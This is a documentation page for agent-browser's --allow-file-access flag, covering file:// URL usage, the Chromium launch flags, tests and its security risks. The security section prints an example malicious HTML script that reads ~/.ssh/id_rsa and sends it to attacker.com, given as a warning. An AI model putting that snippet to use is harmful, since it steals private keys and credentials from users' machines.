> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/vercel-labs/agent-browser/llms.txt
> Use this file to discover all available pages before exploring further.

# File Access

> Open and interact with local files using file:// URLs

## Overview

The `--allow-file-access` flag enables agent-browser to open and interact with local files using `file://` URLs. This is useful for:

* Viewing local PDFs
* Testing local HTML files
* Accessing local documentation
* Scraping content from local files

**Note:** This feature is Chromium-only and disabled by default for security.

## Quick Start

```bash theme={null}
# Enable file access and open a local PDF
agent-browser --allow-file-access open file:///path/to/document.pdf
agent-browser screenshot report.png

# Open a local HTML file
agent-browser --allow-file-access open file:///path/to/page.html
agent-browser snapshot
```

## What File Access Enables

With `--allow-file-access`, the browser can:

1. **Navigate to file:// URLs** - Open local files directly
2. **Load local resources** - Images, scripts, stylesheets from local files
3. **Access other local files via JavaScript** - XMLHttpRequest, fetch to file:// URLs
4. **Read local directories** - If the file system structure is linked

From `src/browser.ts:1324-1328`:

```typescript theme={null}
// --allow-file-access-from-files: allows file:// URLs to read other file:// URLs via XHR/fetch
// --allow-file-access: allows the browser to access local files in general
const fileAccessArgs = options.allowFileAccess
  ? ['--allow-file-access-from-files', '--allow-file-access']
  : [];
```

These Chromium flags are added to the browser launch arguments when file access is enabled.

## File URL Format

### Unix/Linux/macOS

```bash theme={null}
# Absolute path
file:///home/user/document.pdf
file:///Users/user/Documents/page.html

# Relative paths are not supported - use absolute paths
```

### Windows

```bash theme={null}
# Drive letter followed by path
file:///C:/Users/user/document.pdf
file:///C:/Users/user/Documents/page.html

# UNC paths (network shares)
file://///server/share/document.pdf
```

**Important:** Use three slashes after `file:` on Unix/macOS, and include the drive letter on Windows.

## Security Implications

### Why Disabled by Default

File access is disabled by default because it allows JavaScript to read local files, which can expose:

* Private documents
* Configuration files with credentials
* Source code and intellectual property
* System information

### What Can Be Accessed

With `--allow-file-access`, a malicious local HTML file could:

```html theme={null}
<!-- Malicious local HTML file -->
<script>
// Read other local files via XMLHttpRequest
fetch('file:///home/user/.ssh/id_rsa')
  .then(r => r.text())
  .then(data => {
    // Exfiltrate private SSH key
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(data));
  });
</script>
```

From the test suite (`test/file-access.test.ts:81-112`):

```typescript theme={null}
it('should allow file:// URL to access other local files via XMLHttpRequest', async () => {
  await browser.launch({
    id: 'launch',
    action: 'launch',
    allowFileAccess: true,
  });

  await browser.navigate(testFileUrl);

  // With allowFileAccess, XMLHttpRequest to local files should work
  const result = await page.evaluate(async (targetUrl) => {
    return new Promise((resolve) => {
      // XMLHttpRequest is the traditional way to test --allow-file-access-from-files
      const xhr = new XMLHttpRequest();
      xhr.open('GET', targetUrl, true);
      xhr.onload = () => resolve({ status: xhr.status, text: xhr.responseText });
      xhr.onerror = () => resolve({ error: true });
      xhr.send();
    });
  }, testFileUrl2);

  expect(result).toHaveProperty('status', 0); // file:// returns status 0
  expect(result).toHaveProperty('text');
});
```

### Safe Usage

**Only enable file access when:**

1. You control all local files being accessed
2. The files don't contain sensitive data
3. You trust the JavaScript in the local HTML files
4. You're in a sandboxed environment

**Never enable file access for:**

* Untrusted local HTML files
* Files downloaded from the internet
* Multi-user systems where other users have local files

## Use Cases

### PDF Viewing

View and screenshot local PDFs:

```bash theme={null}
agent-browser --allow-file-access open file:///Users/me/report.pdf
agent-browser screenshot report.png
agent-browser pdf report-printable.pdf
```

### Local HTML Testing

Test locally-built HTML files before deploying:

```bash theme={null}
# Build site
npm run build

# Test locally
agent-browser --allow-file-access open file://$(pwd)/dist/index.html
agent-browser snapshot
agent-browser click @e1
```

### Documentation Scraping

Extract content from local documentation:

```bash theme={null}
agent-browser --allow-file-access open file:///usr/share/doc/package/index.html
agent-browser get text "#main-content"
```

### Local File Workflows

Combine with other tools to process local files:

```bash theme={null}
# Convert Markdown to HTML
markdown README.md > README.html

# View in browser and screenshot
agent-browser --allow-file-access open file://$(pwd)/README.html
agent-browser screenshot README.png
```

## Environment Variable

Use the `AGENT_BROWSER_ALLOW_FILE_ACCESS` environment variable to enable file access by default:

```bash theme={null}
export AGENT_BROWSER_ALLOW_FILE_ACCESS=1
agent-browser open file:///path/to/document.pdf
```

From `src/daemon.ts:460`:

```typescript theme={null}
const allowFileAccess = process.env.AGENT_BROWSER_ALLOW_FILE_ACCESS === '1';
```

## Configuration File

Enable file access in your config file for persistent access:

```json theme={null}
{
  "allowFileAccess": true
}
```

Save to `~/.agent-browser/config.json` or `./agent-browser.json`.

## Chromium Only

File access is only supported in Chromium. From `src/browser.ts:1315-1318`:

```typescript theme={null}
if (options.allowFileAccess && browserType !== 'chromium') {
  throw new Error('allowFileAccess is only supported in Chromium');
}
```

Attempting to use file access with Firefox or WebKit will fail:

```bash theme={null}
# This will fail
agent-browser --allow-file-access --browser firefox open file:///path/to/file.html
# Error: allowFileAccess is only supported in Chromium
```

## Compatibility

### Works With

* Headless mode (default)
* Headed mode (`--headed`)
* Custom user agents (`--user-agent`)
* Custom browser arguments (`--args`)
* Screenshots and PDFs

### Does Not Work With

* Firefox (`--browser firefox`)
* WebKit (`--browser webkit`)
* (File access is Chromium-specific)

## Testing

The test suite includes comprehensive file access tests (`test/file-access.test.ts`):

### Without File Access (Default)

```typescript theme={null}
it('should fail to load file:// URL content by default', async () => {
  // Navigation works, but JavaScript can't access local files
  await browser.navigate(testFileUrl);
  // ... XHR to file:// fails
});
```

### With File Access

```typescript theme={null}
it('should load file:// URL with allowFileAccess enabled', async () => {
  await browser.launch({
    allowFileAccess: true,
  });
  // Navigation and XHR both work
});
```

## Common Issues

### Path Format Errors

```bash theme={null}
# Wrong - missing third slash
file://home/user/file.html

# Correct - three slashes for absolute path
file:///home/user/file.html
```

### Relative Paths

```bash theme={null}
# Wrong - relative paths don't work
file://./document.pdf

# Correct - use absolute paths
file:///Users/me/document.pdf
```

### Windows Drive Letters

```bash theme={null}
# Wrong - missing drive letter
file:///Users/user/file.html

# Correct - include drive letter
file:///C:/Users/user/file.html
```

### Permission Denied

If the file exists but can't be read:

```bash theme={null}
# Check file permissions
ls -l /path/to/file.html

# Make readable
chmod +r /path/to/file.html
```

## Alternatives

### Local Web Server

For testing local HTML without security risks, use a local web server:

```bash theme={null}
# Start a local server
python3 -m http.server 8000

# Access via http:// instead of file://
agent-browser open http://localhost:8000/page.html
```

This avoids the need for `--allow-file-access` while still testing local files.

### Temporary Directory

Copy trusted files to a temporary directory and enable file access only for that directory:

```bash theme={null}
# Copy files to temp dir
mkdir /tmp/safe-files
cp trusted.html /tmp/safe-files/

# Access with file://
agent-browser --allow-file-access open file:///tmp/safe-files/trusted.html
```

## Implementation Details

File access is implemented by adding Chromium command-line flags during browser launch. From `src/browser.ts:1323-1333`:

```typescript theme={null}
// Build base args array with file access flags if enabled
// --allow-file-access-from-files: allows file:// URLs to read other file:// URLs via XHR/fetch
// --allow-file-access: allows the browser to access local files in general
const fileAccessArgs = options.allowFileAccess
  ? ['--allow-file-access-from-files', '--allow-file-access']
  : [];
const baseArgs = options.args
  ? [...fileAccessArgs, ...options.args]
  : fileAccessArgs.length > 0
    ? fileAccessArgs
    : undefined;
```

These flags are passed to Playwright's browser launcher, which forwards them to the Chromium process.

### Verification Test

The test suite verifies that file access works as expected (`test/file-access.test.ts:35-58`):

```typescript theme={null}
describe('without allowFileAccess flag', () => {
  it('should fail to load file:// URL content by default', async () => {
    await browser.launch({
      id: 'launch',
      action: 'launch',
      headless: true,
    });

    // Navigate to file:// URL - this should work for navigation
    await browser.navigate(testFileUrl);

    const content = await page.content();
    expect(content).toContain('Test Page 1');

    // But XMLHttpRequest to another file:// URL should be blocked
    const canAccessOtherFile = await page.evaluate(async (targetUrl) => {
      // ... XHR test ...
    }, testFileUrl2);

    expect(canAccessOtherFile).toBe(false);
  });
});
```

This confirms that navigation works but cross-file access is blocked without the flag.